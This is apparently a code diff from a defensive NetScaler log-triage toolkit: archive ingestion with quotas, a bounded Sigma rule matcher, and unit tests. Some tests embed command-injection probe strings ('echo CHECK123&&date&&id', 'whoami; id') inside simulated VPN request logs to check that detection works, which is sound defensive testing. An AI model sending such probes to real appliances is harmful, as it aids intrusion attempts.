"configuration.json",
"evidence.sqlite",
"findings.jsonl",
"updates.jsonl",
"correlations.jsonl",
"README.txt",
"README.md",
"RULES.txt",
"VALIDATION.txt",
"LICENSE.txt",
}
_SYSTEM_DIRS = {"var", "log", "logs", "nsconfig", "etc", "tmp", "crash", "httpd"}
def _sha(path: Path) -> str:
with path.open("rb") as handle:
return hashlib.file_digest(handle, "sha256").hexdigest()
def _archive(path: Path) -> tuple[str | None, bool]:
"""Recognize archive content, including TAR/ZIP/7z inside ordinary .gz names."""
with path.open("rb") as handle:
head = handle.read(512)
wrapped = head.startswith(b"\x1f\x8b")
if wrapped:
try:
with gzip.open(path, "rb") as handle:
head = handle.read(512)
except OSError, EOFError, zlib.error:
return None, False # Retain corrupt gzip for explicit scanner read-error reporting.
if head.startswith((b"PK\x03\x04", b"PK\x05\x06", b"PK\x07\x08")):
return "zip", wrapped
if head.startswith(b"7z\xbc\xaf\x27\x1c"):
return "7z", wrapped
try:
if len(head) == 512:
tarfile.TarInfo.frombuf(head, "utf-8", "surrogateescape")
return "tar", wrapped
except tarfile.HeaderError, ValueError:
pass
if not wrapped and path.name.lower().endswith((".zip", ".7z", ".tar", ".tgz", ".tar.gz")):
return path.suffix.lower().lstrip("."), False # Malformed claimed archive must fail.
return None, False
def prepare_inputs(
sources: list[Path],
destination: Path,
*,
max_bytes: int = 2147483648,
max_files: int = 100000,
max_depth: int = 3,
password: str | None = None,
) -> tuple[list[tuple[str, Path]], list[PreparationEntry]]:
"""Return distinct appliance scan roots and a relative provenance/exclusion manifest.
Destination must not exist. Combined quotas include preserved archive copies,
intermediate decompression and expanded files. A failed preparation removes only
this newly created destination. Symlinks and special files fail closed.
"""
if not sources or min(max_bytes, max_files) < 1 or max_depth < 0:
raise InputError("Invalid preparation inputs or limits")
destination = Path(destination).absolute()
if any(p.is_symlink() for p in (destination, *destination.parents)):
raise InputError("Preparation destination contains a symbolic link")
destination.mkdir(exist_ok=False)
manifest: list[PreparationEntry] = []
units: list[tuple[str, Path, int]] = []
budget = {"bytes": 0, "files": 0}
def copy(source: Path, target: Path, *, compressed: bool = False) -> None:
target.parent.mkdir(parents=True, exist_ok=True)
budget["files"] += 1
if budget["files"] > max_files:
raise InputError("Combined preparation file limit exceeded")
with (
gzip.open(source, "rb") if compressed else source.open("rb") as src,
target.open("xb") as dst,
):
while chunk := src.read(65536):
budget["bytes"] += len(chunk)
if budget["bytes"] > max_bytes:
raise InputError("Combined preparation byte limit exceeded")
dst.write(chunk)
def expand(archive: Path, target: Path, kind: str, wrapped: bool, depth: int) -> Path:
if depth > max_depth:
raise InputError("Combined archive depth exceeded")
effective = archive
if wrapped and kind != "tar":
effective = archive.with_name(archive.name + ".unwrapped." + kind)
copy(archive, effective, compressed=True)
elif kind == "7z" and archive.suffix.lower() != ".7z":
effective = archive.with_name(archive.name + ".7z")
# Rename only the already preserved analysis copy, never original evidence.
archive.rename(effective)
rows = extract_archive(
effective,
target,
max_bytes=max_bytes - budget["bytes"],
max_files=max_files - budget["files"],
max_depth=max_depth - depth,
password=password,
)
budget["bytes"] += sum(row["size"] for row in rows)
budget["files"] += sum(1 for _ in target.rglob("*"))
if budget["bytes"] > max_bytes or budget["files"] > max_files:
raise InputError("Combined extraction quota exceeded")
return effective
def clean_extracted(folder: Path, source_index: int, archive_label: str) -> None:
# Existing extractor handles named nested archives. Detect gzip-wrapped archives
# with arbitrary names here; ordinary compressed log files remain unchanged.
for path in sorted(folder.rglob("*")):
if not path.is_file():
continue
relative = path.relative_to(folder).as_posix()
kind, wrapped = _archive(path)
if kind:
original = path
nested = path.with_name(path.name + ".extracted")
if not nested.exists():
depth = 1 + sum(
part.endswith(".extracted") for part in path.relative_to(folder).parts[:-1]
)
effective = expand(path, nested, kind, wrapped, depth)
clean_extracted(nested, source_index, archive_label + "!/" + relative)
path = effective
preserved = (
destination
/ "_archives"
/ str(source_index)
/ (archive_label + ".nested")
/ relative
)
preserved.parent.mkdir(parents=True, exist_ok=True)
if preserved.exists():
raise InputError("Duplicate preserved archive path")
if original.exists() and original != path:
original.rename(preserved)
intermediate = preserved.with_name(preserved.name + ".intermediate." + kind)
path.rename(intermediate)
else:
path.rename(preserved)
manifest.append(
{
"source_index": source_index,
"source": archive_label + "!/" + relative,
"action": "archive_preserved",
"sha256": _sha(preserved),
"prepared": preserved.relative_to(destination).as_posix(),
}
)
else:
manifest.append(
{
"source_index": source_index,
"source": archive_label + "!/" + relative,
"action": "extracted",
"sha256": _sha(path),
"size": path.stat().st_size,
"prepared": path.relative_to(destination).as_posix(),
}
)
def toolkit_root(path: Path) -> bool:
marker = path / "pyproject.toml"
if marker.is_file() and not marker.is_symlink() and marker.stat().st_size <= 65536:
try:
return bool(
re.search(
r'name\s*=\s*["\x27]netscaler-triage["\x27]',
marker.read_text(errors="replace"),
)
)
except OSError:
return False # The unreadable marker will receive its own input error record.
return (path / "src" / "netscaler_triage" / "__init__.py").is_file()
def accept(
path: Path,
relative: str,
source_index: int,
plain: Path,
label: str,
*,
is_tool_root: bool = False,
) -> None:
metadata = path.name == ".DS_Store"
if metadata or (
is_tool_root and (path.name in _TOOL_FILES or re.fullmatch(r"scan-.*\.log", path.name))
):
manifest.append(
{
"source_index": source_index,
"source": relative,
"action": "excluded",
"reason": "filesystem_metadata" if metadata else "tool_or_generated_file",
}
)
return
if path.stat().st_size > max_bytes - budget["bytes"]:
raise InputError("Combined preparation byte limit exceeded")
digest = _sha(path)
kind, wrapped = _archive(path)
if kind:
preserved = destination / "_archives" / str(source_index) / relative
copy(path, preserved)
if _sha(preserved) != digest:
raise InputError("Archive input changed during copy")
target = destination / f"source-{source_index:04}" / (relative + ".extracted")
target.parent.mkdir(parents=True, exist_ok=True)
effective = expand(preserved, target, kind, wrapped, 0)
manifest.append(
{
"source_index": source_index,
"source": relative,
"action": "archive_expanded",
"sha256": digest,
"size": path.stat().st_size,
"prepared": effective.relative_to(destination).as_posix(),
}
)
clean_extracted(target, source_index, relative)
units.append((Path(relative).name + "@" + label, target, source_index))
else:
target = plain / relative
copy(path, target)
if _sha(target) != digest:
raise InputError("Input changed during copy")
manifest.append(
{
"source_index": source_index,
"source": relative,
"action": "copied",
"sha256": digest,
"size": path.stat().st_size,
"prepared": target.relative_to(destination).as_posix(),
}
)
def unwrap(folder: Path) -> Path:
while True:
children = list(folder.iterdir())
if len(children) != 1 or not children[0].is_dir():
return folder
folder = children[0]
def accept_safely(
path: Path,
relative: str,
source_index: int,
plain: Path,
label: str,
*,
is_tool_root: bool = False,
) -> None:
previous_rows = len(manifest)
try:
accept(path, relative, source_index, plain, label, is_tool_root=is_tool_root)
except (PermissionError, FileNotFoundError, ArchiveError) as exc:
# Output write failures are fatal; only unavailable evidence is skipped.
filename = getattr(exc, "filename", None)
if filename and Path(filename).absolute().is_relative_to(destination):
raise
partial = plain / relative
if partial.is_file():
partial.unlink()
extracted = destination / f"source-{source_index:04}" / (relative + ".extracted")
if extracted.is_dir():
shutil.rmtree(extracted)
del manifest[previous_rows:]
row: PreparationEntry = {
"source_index": source_index,
"source": relative,
"action": "error",
"error": type(exc).__name__,
"reason": (
"Input unreadable, damaged archive, or password unavailable; not analyzed"
),
}
preserved = destination / "_archives" / str(source_index) / relative
if preserved.is_file():
row["sha256"] = _sha(preserved)
row["prepared"] = preserved.relative_to(destination).as_posix()
manifest.append(row)
try:
for source_index, source in enumerate(sources, 1):
source = Path(source).absolute()
if source.is_symlink() or any(p.is_symlink() for p in source.parents):
raise InputError("Input path contains a symbolic link")
if not source.is_file() and not source.is_dir():
raise InputError("Unsupported input path")
plain = destination / f"source-{source_index:04}" / "plain"
label = source.stem if source.is_file() else source.name
if source.is_file():
accept_safely(source, source.name, source_index, plain, label)
else:
def walk_error(
exc: OSError, current_source: Path = source, current_index: int = source_index
) -> None:
error_path = Path(exc.filename) if exc.filename else current_source
manifest.append(
{
"source_index": current_index,
"source": error_path.relative_to(current_source).as_posix(),
"action": "error",
"error": type(exc).__name__,
"reason": "Input directory unreadable; subtree not analyzed",
}
)
for directory_name, dirs, files in os.walk(
source, followlinks=False, onerror=walk_error
):
directory = Path(directory_name)
for name in sorted(dirs + files):
path = directory / name
if path.is_symlink():
raise InputError("Symbolic link inside input")
for name in list(dirs):
path = directory / name
generated_output = (
name.startswith("triage-results-") and (path / "summary.json").is_file()
)
if (
path == destination
or (toolkit_root(directory) and name in _TOOL_DIRS)
or generated_output
):
dirs.remove(name)
manifest.append(
{
"source_index": source_index,
"source": path.relative_to(source).as_posix(),
"action": "excluded",
"reason": "tool_or_output_directory",
}
)
dirs.sort()
for name in sorted(files):
path = directory / name
if path.exists() and not path.is_file():
raise InputError("Special file inside input")
accept_safely(
path,
path.relative_to(source).as_posix(),
source_index,
plain,
label,
is_tool_root=toolkit_root(directory),
)
if plain.exists() and any(p.is_file() for p in plain.rglob("*")):
units.append((label, plain, source_index))
groups: list[tuple[str, Path]] = []
for label, folder, source_index in units:
unit_root = folder
folder = unwrap(folder)
children = list(folder.iterdir())
directories = [p for p in children if p.is_dir()]
if (
children
and len(directories) == len(children)
and not any(p.name.lower() in _SYSTEM_DIRS for p in directories)
):
candidates = [(p.name, unwrap(p)) for p in sorted(directories)]
else:
wrappers = [
part
for part in folder.relative_to(unit_root).parts
if part.lower()
not in _SYSTEM_DIRS | {"wrapper", "netlogs", "export", "logexport"}
and not part.endswith(".extracted")
]
candidates = [(wrappers[-1] if wrappers else label, folder)]
for name, path in candidates:
name = re.sub(r"[^A-Za-z0-9_.@-]+", "_", name).strip("._") or "input"
unique = name
existing = {group_name for group_name, _ in groups}
suffix = 2
while unique in existing:
unique = f"{name}-{suffix}"
suffix += 1
groups.append((unique, path))
manifest.append(
{
"source_index": source_index,
"source": label,
"action": "scan_root",
"appliance": unique,
"prepared": path.relative_to(destination).as_posix(),
"reason": "structural_grouping_not_verified_device_identity",
}
)
if not groups:
raise InputError("No log inputs remain after preparation")
return groups, manifest
except BaseException:
shutil.rmtree(destination)
raise
+357
View File
@@ -0,0 +1,357 @@
"""Explicit, bounded local subset of Sigma; official pySigma parses the rule model.
No aggregation, correlation rules, filters, pipelines, or backend conversion.
Decoded strings are alternative raw-text views of the same normalized event.
"""
import json
import math
from collections.abc import Callable, Mapping, Sequence
from dataclasses import dataclass
import regex
import yaml
from sigma.collection import SigmaCollection
from sigma.conditions import (
ConditionAND,
ConditionFieldEqualsValueExpression,
ConditionNOT,
ConditionOR,
ConditionValueExpression,
)
from sigma.rule import SigmaDetection, SigmaDetectionItem, SigmaRule
from sigma.types import (
SigmaBool,
SigmaNull,
SigmaNumber,
SigmaRegularExpression,
SigmaRegularExpressionFlag,
SigmaString,
SpecialChars,
)
Predicate = Callable[[Mapping[str, object]], bool]
_MODIFIERS = {
"SigmaContainsModifier",
"SigmaStartswithModifier",
"SigmaEndswithModifier",
"SigmaRegularExpressionModifier",
"SigmaAllModifier",
}
_SERVICES = {"http_access", "http_error", "syslog", "shell_log", "unknown"}
_ALIASES = {"_raw": "raw", "message": "raw", "src": "source_ip", "client_ip": "source_ip"}
class UnsupportedSigma(ValueError):
"""A rule lies outside the documented local evaluation subset."""
class SigmaEvaluationLimit(ValueError):
"""An event exceeds the supported evaluation bounds; record coverage as partial."""
def _indicator_catalog(attributes: Mapping[str, object]) -> list[dict[str, object]]:
rows = attributes.get("indicators", [])
if not isinstance(rows, list) or len(rows) > 10000:
raise UnsupportedSigma("Sigma indicators metadata must be a list of at most 10000 rows")
result: list[dict[str, object]] = []
for row in rows:
if not isinstance(row, dict) or not all(isinstance(k, str) for k in row):
raise UnsupportedSigma("Sigma indicator metadata must contain string-keyed mappings")
for key in ("type", "value"):
if not isinstance(row.get(key), str) or not row[key] or len(row[key]) > 65536:
raise UnsupportedSigma(
"Sigma indicator metadata requires bounded type/value strings"
)
if "status" in row and (not isinstance(row["status"], str) or not row["status"]):
raise UnsupportedSigma("Sigma indicator status must be a nonempty string")
try:
if len(json.dumps(row).encode()) > 131072:
raise UnsupportedSigma("Sigma indicator metadata row exceeds 128 KiB")
except TypeError as exc:
raise UnsupportedSigma("Sigma indicator metadata must be JSON serializable") from exc
result.append(dict(row))
return result
def _field(name: str) -> str:
return _ALIASES.get(name.casefold(), name.casefold())
def _check_yaml_node(node: yaml.Node, depth: int = 0) -> None:
if depth > 32:
raise UnsupportedSigma("Sigma YAML nesting exceeds 32 levels")
if isinstance(node, yaml.MappingNode):
names: set[str] = set()
for key, value in node.value:
if not isinstance(key, yaml.ScalarNode) or key.tag != "tag:yaml.org,2002:str":
raise UnsupportedSigma("Sigma YAML mapping keys must be strings")
if key.value in names:
raise UnsupportedSigma("Duplicate Sigma YAML mapping key")
names.add(key.value)
_check_yaml_node(value, depth + 1)
elif isinstance(node, yaml.SequenceNode):
for child in node.value:
_check_yaml_node(child, depth + 1)
def _modifiers(detection: object, depth: int = 0) -> None:
if depth > 32:
raise UnsupportedSigma("Sigma detection nesting exceeds 32 levels")
if isinstance(detection, SigmaDetection):
for item in detection.detection_items:
_modifiers(item, depth + 1)
elif isinstance(detection, SigmaDetectionItem):
for modifier in detection.modifiers:
if modifier.__name__ not in _MODIFIERS:
raise UnsupportedSigma(f"Unsupported Sigma modifier: {modifier.__name__}")
else:
raise UnsupportedSigma("Unsupported Sigma detection model")
def _compile(node: object, timeout: float, budget: list[int], depth: int = 0) -> Predicate:
budget[0] += 1
if budget[0] > 10000 or depth > 32:
raise UnsupportedSigma("Sigma condition exceeds node or depth limit")
if isinstance(node, (ConditionAND, ConditionOR, ConditionNOT)):
children = [_compile(child, timeout, budget, depth + 1) for child in node.args]
if isinstance(node, ConditionAND):
return lambda event: all(child(event) for child in children)
if isinstance(node, ConditionOR):
return lambda event: any(child(event) for child in children)
if len(children) != 1:
raise UnsupportedSigma("Invalid Sigma NOT condition")
return lambda event: not children[0](event)
if not isinstance(node, (ConditionFieldEqualsValueExpression, ConditionValueExpression)):
raise UnsupportedSigma(f"Unsupported Sigma condition: {type(node).__name__}")
name = _field(node.field) if isinstance(node, ConditionFieldEqualsValueExpression) else "raw"
keyword = isinstance(node, ConditionValueExpression)
value = node.value
if isinstance(value, SigmaNull):
return lambda event: name not in event or event[name] is None
if isinstance(value, (SigmaNumber, SigmaBool)):
expected = value.number if isinstance(value, SigmaNumber) else value.boolean
def typed_match(event: Mapping[str, object]) -> bool:
values = event.get(name)
sequence = values if isinstance(values, (list, tuple)) else [values]
return any(
candidate == expected and type(candidate) is type(expected)
for candidate in sequence
)
return typed_match
flags = 0
if isinstance(value, SigmaString):
parts = []
for part in value.s:
if isinstance(part, str):
parts.append(regex.escape(part))
elif part == SpecialChars.WILDCARD_MULTI:
parts.append(".*")
elif part == SpecialChars.WILDCARD_SINGLE:
parts.append(".")
else:
raise UnsupportedSigma("Unsupported placeholder or Sigma string component")
expression = "".join(parts)
flags = regex.IGNORECASE | regex.DOTALL
fullmatch = not keyword
elif isinstance(value, SigmaRegularExpression):
expression = str(value.regexp)
fullmatch = False
for flag in value.flags:
flags |= {
SigmaRegularExpressionFlag.IGNORECASE: regex.IGNORECASE,
SigmaRegularExpressionFlag.MULTILINE: regex.MULTILINE,
SigmaRegularExpressionFlag.DOTALL: regex.DOTALL,
}[flag]
else:
raise UnsupportedSigma(f"Unsupported Sigma value: {type(value).__name__}")
compiled = regex.compile(expression, flags)
def match(event: Mapping[str, object]) -> bool:
values = event.get(name)
sequence = values if isinstance(values, (list, tuple)) else [values]
for candidate in sequence:
if isinstance(candidate, str):
if len(candidate) > 1048576:
raise SigmaEvaluationLimit("Sigma event field exceeds 1 MiB")
matched = (
compiled.fullmatch(candidate, timeout=timeout)
if fullmatch
else compiled.search(candidate, timeout=timeout)
)
if matched:
return True
return False
return match
@dataclass(frozen=True)
class _Rule:
identifier: str
service: str | None
predicate: Predicate
uses_raw: bool
fields: frozenset[str]
metadata: dict[str, object]
def _used_fields(node: object) -> set[str]:
if isinstance(node, ConditionValueExpression):
return {"raw"}
if isinstance(node, ConditionFieldEqualsValueExpression):
return {_field(node.field)}
if isinstance(node, (ConditionAND, ConditionOR, ConditionNOT)):
return {name for child in node.args for name in _used_fields(child)}
return set()
class SigmaMatcher:
"""Local subset: strings, wildcards, field maps, selected modifiers and Boolean AST.
Fields are case-insensitive names; values retain Sigma string/regex semantics.
Product must be netscaler; optional service is an exact normalized event kind.
Decoded alternatives replace raw only, never unrelated structured fields.
"""
def __init__(
self, rules: list[_Rule], indicators: list[dict[str, object]] | None = None
) -> None:
self.rules = rules
self.indicators = indicators or []
self.fields = frozenset({"raw"}.union(*(rule.fields for rule in rules)))
@classmethod
def from_yaml(cls, text: str, timeout: float = 0.05, source: str = "") -> SigmaMatcher:
if not math.isfinite(timeout) or timeout <= 0:
raise ValueError("Sigma regex timeout must be positive and finite")
if len(text.encode()) > 4194304:
raise UnsupportedSigma("Sigma input exceeds 4 MiB")
# Reject alias expansion and custom tags before loading any official models.
for count, token in enumerate(yaml.scan(text)):
if count > 100000 or isinstance(
token, (yaml.AliasToken, yaml.AnchorToken, yaml.TagToken)
):
raise UnsupportedSigma(
"YAML aliases, anchors, tags or excessive tokens are unsupported"
)
for document_node in yaml.compose_all(text):
if document_node is not None:
_check_yaml_node(document_node)
documents = list(yaml.safe_load_all(text))
if not 1 <= len(documents) <= 256:
raise UnsupportedSigma("Sigma document count must be 1..256")
for document in documents:
if not isinstance(document, dict) or any(
k in document for k in ("correlation", "filter", "action")
):
raise UnsupportedSigma(
"Sigma correlations, filters and collection actions are unsupported"
)
detection = document.get("detection")
if not isinstance(detection, dict) or "timeframe" in detection:
raise UnsupportedSigma("Missing detection or unsupported timeframe")
collection = SigmaCollection.from_yaml(text)
result: list[_Rule] = []
indicators: list[dict[str, object]] = []
identifiers: set[str] = set()
for rule in collection.rules:
if not isinstance(rule, SigmaRule):
raise UnsupportedSigma("Only Sigma detection rules are supported")
if rule.taxonomy != "sigma":
raise UnsupportedSigma("Custom Sigma taxonomies are unsupported")
if (
rule.logsource.product != "netscaler"
or rule.logsource.category
or rule.logsource.custom_attributes
):
raise UnsupportedSigma(
"Only product netscaler without category/custom logsource is supported"
)
service = rule.logsource.service
if service is not None and service not in _SERVICES:
raise UnsupportedSigma(f"Unsupported Sigma logsource service: {service}")
for detection in rule.detection.detections.values():
_modifiers(detection)
predicates = [
_compile(condition.parsed, timeout, [0])
for condition in rule.detection.parsed_condition
]
def either(event: Mapping[str, object], parts: list[Predicate] = predicates) -> bool:
return any(part(event) for part in parts)
identifier = str(rule.id) if rule.id else rule.title
if identifier in identifiers:
raise UnsupportedSigma("Duplicate Sigma rule identifier/title")
identifiers.add(identifier)
custom = dict(rule.custom_attributes)
indicators.extend(_indicator_catalog(custom))
custom.pop("indicators", None)
try:
if len(json.dumps(custom).encode()) > 16384:
raise UnsupportedSigma("Per-hit Sigma custom metadata exceeds 16 KiB")
except TypeError as exc:
raise UnsupportedSigma("Sigma custom metadata must be JSON serializable") from exc
metadata: dict[str, object] = {
"id": identifier,
"title": rule.title,
"name": rule.name or "",
"custom_attributes": custom,
"description": rule.description or "",
"references": list(rule.references),
"level": rule.level.name.lower() if rule.level else "",
"falsepositives": list(rule.falsepositives),
"source": source,
"format": "sigma",
"evaluation": "local_supported_subset",
}
fields = frozenset(
name for c in rule.detection.parsed_condition for name in _used_fields(c.parsed)
)
result.append(_Rule(identifier, service, either, "raw" in fields, fields, metadata))
return cls(result, indicators)
def search_with_details(
self, event: Mapping[str, object], decoded: Sequence[str] = ()
) -> list[dict[str, object]]:
if len(decoded) > 64:
raise SigmaEvaluationLimit("Sigma decoded-view limit exceeded")
normalized: dict[str, object] = {}
fields = event.get("fields")
if isinstance(fields, Mapping):
normalized.update((_field(str(k)), v) for k, v in fields.items())
normalized.update((_field(k), v) for k, v in event.items() if k != "fields")
# Validate supported views before Boolean short-circuits or service filtering.
for name in self.fields:
field_value = normalized.get(name)
values = field_value if isinstance(field_value, (list, tuple)) else [field_value]
if len(values) > 10000:
raise SigmaEvaluationLimit("Sigma referenced field exceeds 10000 values")
for value in values:
if isinstance(value, str) and len(value) > 1048576:
raise SigmaEvaluationLimit("Sigma event field exceeds 1 MiB")
for value in decoded:
if len(value) > 1048576:
raise SigmaEvaluationLimit("Sigma decoded field exceeds 1 MiB")
results = []
for rule in self.rules:
if rule.service is not None and normalized.get("kind") != rule.service:
continue
bases = []
if rule.predicate(normalized):
bases.append("raw")
views = decoded if rule.uses_raw else ()
for index, value in enumerate(views):
if len(value) > 1048576:
raise SigmaEvaluationLimit("Sigma decoded field exceeds 1 MiB")
if rule.predicate({**normalized, "raw": value}):
bases.append(f"decoded:{index}")
if bases:
results.append({**rule.metadata, "basis": bases})
return results
def search(self, event: Mapping[str, object], decoded: Sequence[str] = ()) -> list[str]:
return [str(hit["id"]) for hit in self.search_with_details(event, decoded)]
+62
View File
@@ -0,0 +1,62 @@
import json
import tempfile
import unittest
from pathlib import Path
import py7zr
import pyzipper
from netscaler_triage.ingest import InputError, extract_archive
class ArchivePasswordTests(unittest.TestCase):
def test_encrypted_7z_and_aes_zip(self) -> None:
password = "sensitive-Ü-test-password"
with tempfile.TemporaryDirectory() as folder:
root = Path(folder).resolve()
for extension in ("7z", "zip"):
archive = root / ("input." + extension)
if extension == "7z":
with py7zr.SevenZipFile(
archive, "w", password=password, header_encryption=True
) as z:
z.writestr(b"log data\n", "logs/access.log")
else:
with pyzipper.AESZipFile(archive, "w", encryption=pyzipper.WZ_AES) as z:
z.setpassword(password.encode())
z.writestr("logs/access.log", b"log data\n")
original = archive.read_bytes()
destination = root / (extension + "-correct")
manifest = extract_archive(archive, destination, password=password)
self.assertEqual((destination / "logs/access.log").read_bytes(), b"log data\n")
self.assertNotIn(password, json.dumps(manifest))
for wrong in (None, "other-secret"):
failed = root / (extension + "-failed")
with self.assertRaises(InputError) as caught:
extract_archive(archive, failed, password=wrong)
self.assertNotIn(password, str(caught.exception))
self.assertNotIn("other-secret", str(caught.exception))
self.assertFalse(failed.exists())
self.assertEqual(archive.read_bytes(), original)
def test_nested_encryption_and_quota(self) -> None:
with tempfile.TemporaryDirectory() as folder:
root = Path(folder).resolve()
inner = root / "nested.7z"
with py7zr.SevenZipFile(inner, "w", password="secret", header_encryption=True) as z:
z.writestr(b"nested log", "messages")
outer = root / "outer.zip"
with pyzipper.AESZipFile(outer, "w", encryption=pyzipper.WZ_AES) as z:
z.setpassword(b"secret")
z.write(inner, "nested.7z")
target = root / "output"
extract_archive(outer, target, password="secret")
self.assertEqual((target / "nested.7z.extracted/messages").read_bytes(), b"nested log")
failed = root / "quota"
with self.assertRaisesRegex(InputError, "size limit"):
extract_archive(outer, failed, password="secret", max_bytes=2)
self.assertFalse(failed.exists())
if __name__ == "__main__":
unittest.main()
+113
View File
@@ -0,0 +1,113 @@
"""CLI presentation must not corrupt evidence output or generate assessments."""
import contextlib
import io
import json
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from rich.console import Console
from netscaler_triage.cli import display_result, main
from netscaler_triage.engine import scan
class CliTests(unittest.TestCase):
def test_help_and_argument_errors(self) -> None:
output = io.StringIO()
with contextlib.redirect_stdout(output), self.assertRaises(SystemExit) as raised:
main(["scan", "--help"])
self.assertEqual(raised.exception.code, 0)
self.assertIn("Log folders or archives", output.getvalue())
self.assertIn("Example:", output.getvalue())
self.assertNotIn("--regex-timeout", output.getvalue())
advanced = io.StringIO()
with contextlib.redirect_stdout(advanced), self.assertRaises(SystemExit):
main(["scan", "--help-all"])
self.assertIn("--regex-timeout", advanced.getvalue())
error = io.StringIO()
with contextlib.redirect_stderr(error), self.assertRaises(SystemExit) as raised:
main(["scan", "--not-a-valid-option"])
self.assertEqual(raised.exception.code, 2)
self.assertIn("Invalid arguments", error.getvalue())
self.assertIn("--help", error.getvalue())
def test_json_and_interactive_output(self) -> None:
result = {"status": "complete", "counts": {"records": 7}}
output = io.StringIO()
with contextlib.redirect_stdout(output):
display_result(result, json_output=True)
self.assertEqual(json.loads(output.getvalue()), result)
self.assertNotIn("\x1b", output.getvalue())
terminal = io.StringIO()
with patch(
"netscaler_triage.cli.Console",
return_value=Console(
file=terminal,
force_terminal=True,
color_system=None,
),
):
display_result(result)
self.assertIn("NetScaler triage results", terminal.getvalue())
def test_missing_file_is_friendly_and_has_no_stdout(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
output, error = io.StringIO(), io.StringIO()
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
code = main(["decode", str(Path(tmp) / "missing.txt")])
self.assertEqual(code, 2)
self.assertEqual(output.getvalue(), "")
self.assertIn("Check that the input file or directory exists", error.getvalue())
def test_scan_does_not_write_an_assessment(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "logs"
source.mkdir()
(source / "sample.log").write_text("plain text\n", encoding="utf-8")
scan([("sample", source)], root / "output", [], defaults=False)
self.assertTrue((root / "output/summary.json").is_file())
self.assertFalse((root / "output/BERICHT.txt").exists())
def test_scan_requires_only_a_folder_and_never_overwrites(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "appliance"
logs.mkdir()
original = "ordinary text\n"
(logs / "sample.log").write_text(original, encoding="utf-8")
for _ in range(2):
output, error = io.StringIO(), io.StringIO()
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
self.assertEqual(main(["scan", str(logs)]), 0)
self.assertEqual(json.loads(output.getvalue())["files"], 1)
self.assertIn("Results saved to:", error.getvalue())
destinations = list(root.glob("triage-results-*"))
self.assertEqual(len(destinations), 2)
self.assertEqual((logs / "sample.log").read_text(), original)
for destination in destinations:
config = json.loads((destination / "configuration.json").read_text())
self.assertIsNone(config["year"])
self.assertEqual(config["timezones"], {})
def test_named_inputs_remain_supported(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
with (
contextlib.redirect_stdout(io.StringIO()),
contextlib.redirect_stderr(io.StringIO()),
):
self.assertEqual(
main(["scan", "--input", f"ADC={logs}", "--output", str(root / "out")]), 0
)
config = json.loads((root / "out/configuration.json").read_text())
self.assertEqual(config["appliances"], ["ADC"])
if __name__ == "__main__":
unittest.main()
+65
View File
@@ -0,0 +1,65 @@
"""Diagnostic probes must match in request context, not as ordinary prose."""
import base64
import json
import tempfile
import unittest
from pathlib import Path
from urllib.parse import quote
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class CommandProbeTests(unittest.TestCase):
def test_raw_url_and_base64_probes_reach_engine(self) -> None:
commands = ["echo CHECK123&&date&&id", "id", "echo CHECK123"]
lines = []
for command in commands:
payload = quote(base64.b64encode(command.encode()).decode(), safe="")
lines.append(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET /vpn/example.php?x={payload} HTTP/1.1" 403 0 "-" "normal"'
)
lines.append(
"Oct 1 12:00:00 adc APPFW (GET https://192.0.2.1/vpn/theme/x.php?0="
+ quote(commands[0], safe="")
+ ") <blocked>"
)
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "probes.log").write_text("\n".join(lines) + "\n")
scan([("ADC", logs)], root / "out", [])
findings = [
json.loads(x) for x in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(findings), len(lines))
for finding in findings:
self.assertTrue(
any(x["name"] == "command_injection" for x in finding["rule_details"])
)
def test_ordinary_context_does_not_trigger_probe_or_handler_rules(self) -> None:
matcher = Matcher([])
for event in [
{"raw": "id", "uri": "/health?id=42"},
{"raw": "echo CHECK123", "uri": "/search?q=echo"},
{"raw": "id", "uri": "/vpn/example.php"},
{"raw": "AddType application/x-httpd-php .php"},
{"raw": "AddType application/x-httpd-php-source .phps"},
]:
with self.subTest(event=event):
names = {x["name"] for x in matcher.search_sigma(event)}
self.assertFalse(names & {"command_injection", "ti_php_handler"})
self.assertTrue(
any(
x["name"] == "ti_php_handler"
for x in matcher.search_sigma({"raw": "AddType application/x-httpd-php .sig"})
)
)
if __name__ == "__main__":
unittest.main()
+177
View File
@@ -0,0 +1,177 @@
"""Explicit configuration discovery and metadata-preservation checks."""
from __future__ import annotations
import contextlib
import io
import json
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.cli import main
from netscaler_triage.config_loading import load_config, load_configs
from netscaler_triage.matching import Matcher
class ConfigLoadingTests(unittest.TestCase):
def test_directory_expansion_is_explicit_sorted_and_deduplicated(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "sub").mkdir()
(root / ".hidden").mkdir()
(root / "__pycache__").mkdir()
(root / "z.txt").write_text("last\n")
(root / "sub/a.txt").write_text("first\n")
(root / ".hidden/a.txt").write_text("hidden\n")
(root / "__pycache__/a.txt").write_text("cache\n")
(root / "ignored.log").write_text("ignored\n")
for name in ["README.txt", "LICENSE.txt", "CHANGELOG.txt"]:
(root / name).write_text("Documentation, not an indicator.\n")
configs = load_configs([root, root / "z.txt", root])
self.assertEqual([c["indicators"][0]["value"] for c in configs], ["first", "last"])
self.assertEqual(load_configs([]), [])
def test_txt_infers_unambiguous_types_and_enforces_ip_boundaries(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "references.txt"
path.write_text(
"192.0.2.1\n2001:db8::1\n/example/artifact\n"
"https://example.invalid/payload\n" + "a" * 64 + "\nwhoami; id\n"
)
config = load_config(path)
self.assertEqual(
[row["type"] for row in config["indicators"]],
["ipv4", "ipv6", "path", "url", "sha256", "literal"],
)
matcher = Matcher([config], defaults=False)
self.assertTrue(matcher.search("source=192.0.2.1:443")[1])
self.assertFalse(matcher.search("source=192.0.2.10")[1])
